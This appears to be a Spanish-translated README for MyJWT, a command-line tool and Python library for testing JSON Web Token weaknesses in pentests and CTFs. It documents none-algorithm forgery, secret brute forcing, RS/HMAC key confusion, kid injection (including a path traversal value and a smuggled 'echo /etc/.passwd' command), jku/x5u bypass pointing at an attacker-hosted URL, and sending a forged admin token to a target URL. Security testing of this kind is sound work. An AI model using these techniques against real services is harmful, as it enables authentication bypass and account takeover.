
Una cli para descifrar y probar vulnerabilidades en Json Web Token(JWT)
Esta CLI es para pentesters, jugadores de CTF o desarrolladores.
Puedes modificar tu jwt, firmar, inyectar, etc...
Consulta la Documentación para más información.
Si ves problemas o mejoras, envía un issue. Responderé lo antes posible. ¡Disfruta! :)
La documentación está disponible en http://myjwt.readthedocs.io
Para instalar myjwt, simplemente usa pip:
pip install myjwt
Para ejecutar myjwt desde una imagen Docker, ejecuta:
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# En Windows
docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
Para instalar myjwt desde git:
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help
Para instalar myjwt en BlackArch:
pacman -S myjwt
$ myjwt --help
Usage: myjwt [OPTIONS] JWT
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Full documentation is at http://myjwt.readthedocs.io.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
All new jwt will be copy to the clipboard.
Options:
--version Show the version and exit.
--full-payload TEXT New payload for your jwt.Json format Required.
-h, --add-header TEXT Add a new key, value to your jwt header, if key
is present old value will be replaced.Format:
key=value.
-p, --add-payload TEXT Add a new key, value to your jwt payload, if
key is present old value will be
replaced.Format: key=value.
--sign TEXT Sign Your jwt with key given.
--verify TEXT verify your key.
-none, --none-vulnerability Check None Alg vulnerability.
--hmac PATH Check RS/HMAC Alg vulnerability.
--bruteforce PATH Bruteforce to guess the secret used to sign the
token.
-r, --crack TEXT regex to iterate all string possibilities to
guess the secret used to sign the token.
--kid TEXT Kid Injection sql
--jku TEXT Jku Header to bypass authentication
--x5u TEXT X5u Header to bypass authentication
--crt TEXT For x5cHeader, force crt file
--key TEXT For jku or x5c Header, force private key to
your key file
--file TEXT For jku Header and x5u Header, force file name
--print Print Decoded JWT
-u, --url TEXT Url to send your jwt.
-m, --method TEXT Method use for send request to url.(Default
GET).
-d, --data TEXT Data send to your url.Format: key=value. if
value = MY_JWT value will be replace by new
jwt.
-c, --cookies TEXT Cookies to send to your url.Format: key=value.
if value = MY_JWT value will be replace by new
jwt.
--help Show this message and exit.
| Opción | Tipo | Ejemplo | ayuda |
|---|---|---|---|
| --sign | text | mysecretkey | Firma tu jwt con tu clave |
| --verify | text | mysecretkey | Verifica tu clave. |
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
Ejemplo completo aquí: 01-modify-jwt
myjwt YOUR_JWT --none-vulnerability
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
Ejemplo completo aquí: 02-none-vulnerability
myjwt YOUR_JWT --sign YOUR_KEY
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)
Ejemplo completo aquí: 03-sign-key
myjwt YOUR_JWT --bruteforce PATH
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)
Ejemplo completo aquí: 04-brute-force
myjwt YOUR_JWT --crack REGEX
myjwt YOUR_JWT --hmac FILE
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)
Ejemplo completo aquí: 05-rsa-hmac-confusion
myjwt YOUR_JWT --kid INJECTION
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid
injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)
Ejemplo completo aquí: 06-kid-injection
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"
myjwt YOUR_JWT --jku YOUR_URL
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
Ejemplo completo aquí: 07-jku-bypass
myjwt YOUR_JWT --x5u YOUR_URL
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
Ejemplo completo aquí: 08-x5u-bypass
Consulta los lanzamientos de GitHub. La última versión está disponible en https://github.com/mBouamama/MyJWT/releases/latest
make lintmake testEl registro se ha vuelto bastante extenso. Se ha movido a su propio archivo.
See CHANGES.
| Opción | Tipo | Ejemplo | ayuda |
|---|
| --ful-payload | JSON | {"user": "admin"} | Nuevo payload para tu jwt. |
| -h, --add-header | key=value | user=admin | Agrega una nueva clave y valor al encabezado de tu jwt. Si la clave está presente, el valor anterior se reemplazará. |
| -p, --add-payload | key=value | user=admin | Agrega una nueva clave y valor al payload de tu jwt. Si la clave está presente, el valor anterior se reemplazará. |
| Opción | Tipo | Ejemplo | ayuda |
|---|
| -none, --none-vulnerability | Nothing | Verificar vulnerabilidad del algoritmo None. | |
| --hmac | PATH | ./public.pem | Verificar vulnerabilidad del algoritmo RS/HMAC, y firmar tu jwt con clave pública. |
| --bruteforce | PATH | ./wordlist/big.txt | Fuerza bruta para adivinar el secreto usado para firmar el token. Usa un archivo txt con todas las contraseñas almacenadas (una por línea) |
| --crack | REGEX | "[a-z]{4}" | expresión regular para iterar todas las posibilidades de cadena y adivinar el secreto usado para firmar el token. |
| --kid | text | "00; echo /etc/.passwd" | Inyección Kid SQL |
| --jku | text | MYPUBLICIP | Encabezado Jku para omitir autenticación. Usa --file si deseas cambiar el nombre de tu archivo jwks, y --key si deseas usar tu propio pem privado |
| --x5u | text | MYPUBLICIP | Para encabezados jku o x5c, usa --file si deseas cambiar el nombre de tu archivo jwks, y --key si deseas usar tu propio pem privado |
| Opción | Tipo | Ejemplo | ayuda |
|---|
| -u, --url | url | http://challenge01.root-me.org/web-serveur/ch59/admin | URL para enviar tu jwt. |
| -m, --method | text | POST | Método usado para enviar la solicitud a la URL (por defecto GET). |
| -d, --data | key=value | secret=MY_JWT | Datos enviados a tu URL. Formato: clave=valor. Si el valor es MY_JWT, será reemplazado por tu nuevo jwt. |
| -c, --cookies | key=value | secret=MY_JWT | Cookies para enviar a tu URL. Formato: clave=valor. Si el valor es MY_JWT, será reemplazado por tu nuevo jwt. |
| Opción | Tipo | Ejemplo | ayuda |
|---|
| --crt | PATH | ./public.crt | Para el encabezado x5c, forzar archivo crt |
| --key | PATH | ./private.pem | Para encabezados jku o x5c, forzar clave privada a tu archivo de clave |
| --file | text | myfile | Para el encabezado jku, forzar nombre de archivo sin extensión .json |
| Nothing | Imprimir JWT decodificado | ||
| --help | Nothing | Mostrar mensaje de ayuda y salir. | |
| --version | Nothing | Mostrar versión de Myjwt |